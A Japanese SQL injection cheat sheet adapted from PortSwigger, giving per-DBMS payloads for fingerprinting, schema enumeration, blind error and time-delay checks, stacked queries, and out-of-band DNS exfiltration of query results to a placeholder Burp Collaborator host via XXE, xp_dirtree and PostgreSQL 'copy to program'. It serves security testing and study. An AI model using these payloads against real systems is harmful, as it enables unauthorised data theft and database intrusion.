概要
SQLインジェクションを使った脆弱性診断を実行する際に、しばしば発生する便利な構文のDBMS別まとめになります。
日本語で知りたい人や単純に見返す機会も多いと思ったので、PortSwiggerの学習サイトから翻訳・引用・加筆修正しました。
文字列の連結
複数の文字を結合させて、一つの文字列にすることができます。
DBMS | 構文 |
---|---|
Oracle | 'foo'||'bar' |
Microsoft | 'foo'+'bar' |
PostgreSQL | 'foo'||'bar' |
MySQL |
'foo' 'bar' (文字列間のスペースに注意)CONCAT('foo','bar')
|
サブストリング(文字の切り出し)
指定番目の文字から指定した文字数分の文字列を抽出できます。下記の例だと ba を返します。
DBMS | 構文 |
---|---|
Oracle | SUBSTR('foobar', 4, 2) |
Microsoft | SUBSTRING('foobar', 4, 2) |
PostgreSQL | SUBSTRING('foobar', 4, 2) |
MySQL | SUBSTRING('foobar', 4, 2) |
コメント
コメントを使用してクエリを切り捨て、入力に続く元のクエリの一部を削除できます。
DBMS | 構文 |
---|---|
Oracle | --comment |
Microsoft |
--comment /*comment*/
|
PostgreSQL |
--comment /*comment*/
|
MySQL |
#comment -- comment (スペースに注意)/*comment*/
|
データベースのバージョン
データベースをクエリして、そのタイプとバージョンを取得できます。この情報は、より複雑な攻撃を作成する時に役立ちます。
DBMS | 構文 |
---|---|
Oracle |
SELECT banner FROM v$version SELECT version FROM v$instance
|
Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
データベースの内容
データベースに存在するテーブルと、それらのテーブルに含まれる列を一覧できます。
DBMS | 構文 |
---|---|
Oracle |
SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'テーブル名'
|
Microsoft |
SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'テーブル名'
|
PostgreSQL |
SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'テーブル名'
|
MySQL |
SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'テーブル名'
|
条件付きエラー
単一の真偽値条件をテストし、条件がtrueの場合、データベースエラーをトリガーできます。
DBMS | 構文 |
---|---|
Oracle | SELECT CASE WHEN (条件) THEN TO_CHAR(1/0) ELSE NULL END FROM dual |
Microsoft | SELECT CASE WHEN (条件) THEN 1/0 ELSE NULL END |
PostgreSQL | 1 = (SELECT CASE WHEN (条件) THEN CAST(1/0 AS INTEGER) ELSE NULL END) |
MySQL | SELECT IF(条件,(SELECT table_name FROM information_schema.tables),'a') |
バッチクエリ(スタッククエリ)
バッチされたクエリを使用して、複数のクエリを連続して実行できます。後続のクエリが実行されている間、結果はアプリケーションに返されないことに注意してください。従って、この手法は主に、2番目のクエリを使用してDNSルックアップ、条件付きエラー、または時間遅延をトリガーできるブラインド脆弱性に関連して使用されます。
DBMS | 構文 |
---|---|
Oracle | バッチクエリのサポート対象外 |
Microsoft | クエリ1; クエリ2 |
PostgreSQL | クエリ1; クエリ2 |
MySQL | クエリ1; クエリ2 |
MySQLでは、バッチクエリは通常、SQLインジェクションには使用できません。ただし、ターゲットアプリケーションが特定のPHPまたはPython APIを使用してMySQLデータベースと通信する場合、これが可能になることがあります。
時間遅延
クエリが処理されると、データベースに時間遅延が発生する可能性があります。
以下は、無条件の10秒の時間遅延を引き起こします。
DBMS | 構文 |
---|---|
Oracle | dbms_pipe.receive_message(('a'),10) |
Microsoft | WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT SLEEP(10) |
条件付き時間遅延
単一の真偽値条件を判定し、条件がtrueの場合、時間遅延をトリガーできます。
DBMS | 構文 |
---|---|
Oracle | SELECT CASE WHEN (条件) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual |
Microsoft | IF (条件) WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT CASE WHEN (条件) THEN pg_sleep(10) ELSE pg_sleep(0) END |
MySQL | SELECT IF(条件,SLEEP(10),'a') |
DNSルックアップ
DNSルックアップ-権威DNSサーバへ問合せしてIPアドレスからドメイン名を調べたり、ドメイン名からIPアドレスを調べること。
データベースに外部ドメインへのDNSルックアップを実行させることができます。これを行うには、Burp Collaborator Clientを使用する必要があります。攻撃で使用する一意のBURP-COLLABORATORサブドメインを生成し、Collaboratorサーバーをポーリングして、DNSルックアップが発生したことを確認します。
DBMS | 構文 |
---|---|
Oracle | DNSルックアップをトリガーするためにXML外部エンティティ(XXE)の脆弱性を活用します。 脆弱性は既にパッチされていますが、パッチされていないOracleのインストールプログラムが多数存在します。SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATORサブドメイン/"> %remote;]>'),'/l') FROM dual 完全にパッチされたOracleインストールで動作しますが、管理者特権が必要です。 SELECT UTL_INADDR.get_host_address('BURP-COLLABORATORサブドメイン')
|
Microsoft | exec master..xp_dirtree '//BURP-COLLABORATORサブドメイン/a' |
PostgreSQL | copy (SELECT '') to program 'nslookup BURP-COLLABORATORサブドメイン' |
MySQL | Windowsでのみ機能します。LOAD_FILE('\\\\BURP-COLLABORATORサブドメイン\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATORサブドメイン\a'
|
データ流出を伴うDNSルックアップ
注入されたクエリの結果を含む外部ドメインに対して、データベースにDNSルックアップを実行させることができます。これを行うには、Burp Collaborator Clientを使用する必要があります。攻撃で使用する一意のBURP-COLLABORATORサブドメインを生成してから、Collaboratorサーバーをポーリングして、埋め込み型データを含むDNSインタラクションの詳細を取得します。
DBMS | 構文 |
---|---|
Oracle | SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATORサブドメイン/"> %remote;]>'),'/l') FROM dual |
Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATORサブドメイン/a"') |
PostgreSQL |
create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATORサブドメイン'''; execute c; END; $$ language plpgsql security definer; SELECT f();
|
MySQL | Windowsでのみ機能します。SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATORサブドメイン\a'
|